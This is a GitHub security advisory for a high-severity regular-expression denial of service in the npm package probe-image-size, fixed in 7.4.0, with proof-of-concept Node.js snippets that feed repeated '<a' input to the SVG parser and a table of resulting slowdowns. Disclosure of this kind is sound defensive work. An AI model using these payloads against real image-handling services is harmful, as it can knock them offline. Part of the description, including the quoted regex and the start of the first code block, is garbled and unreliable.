GitHub Advisoryadvisory · npm
GHSA-gjj5-9665-rwrc probe-image-size: Quadratic-time Denial of Service in the SVG Parser
HIGH
Official page ↗
- Aliases
- CVE-2026-104861
- Ecosystem
- npm
- Packages
- probe-image-size
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-1333, CWE-400
- Reviewed
- 2026-10-02
Affected packages
• npm probe-image-size: < 7.4.0 → fixed in 7.4.0
Description
Overview
`probe-image-size` scans the SVG header with a searching regular expression, `/]*>/`. On input that contains many ``, the engine restarts the `[^>]*` scan at every `'
probe.sync(Buffer.from('<a'.repeat(100000), 'latin1'))
```
Streaming — the same payload split into chunks, slower per byte than the synchronous form:
```js
const { Readable } = require('stream')
const probe = require('probe-image-size')
const payload = Buffer.from('<a'.repeat(32768), 'latin1')
const chunks = []
for (let i = 0; i < payload.length; i += 4096) chunks.push(payload.subarray(i, i + 4096))
await probe(Readable.from(chunks))
```
Measurements on the maintainer's machine:
| path | input | time |
| --- | --- | --- |
| `probe.sync()` | 25 KB | 0.9 s |
| `probe.sync()` | 50 KB | 5.5 s |
| `probe.sync()` | 100 KB | 18 s |
| `probe.sync()` | 200 KB | 54 s |
| `probe(stream)` | 64 KB, 1 chunk | 1.6 s |
| `probe(stream)` | 64 KB, 4 chunks | 2.9 s |
| `probe(stream)` | 64 KB, 16 chunks | 9.6 s |
Related
Alias · CVE (1)
- CVE-2026-104861 probe-image-size gets image dimensions without downloading the entire file. vulnerability
References
- https://github.com/nodeca/probe-image-size/security/advisories/GHSA-gjj5-9665-rwrc web
- https://nvd.nist.gov/vuln/detail/CVE-2026-104861 advisory
- https://github.com/nodeca/probe-image-size/commit/60cc96ac0b671e79e328213d0a8e831312b09e84 web
- https://github.com/nodeca/probe-image-size/commit/9b74656d6f973cc59ea2ab1375c0d88390a402ad web
- https://github.com/nodeca/probe-image-size/commit/c032aefabdecf5cb50548ab9ba175db56353078f web
- https://github.com/nodeca/probe-image-size package
- https://github.com/nodeca/probe-image-size/releases/tag/7.4.0 web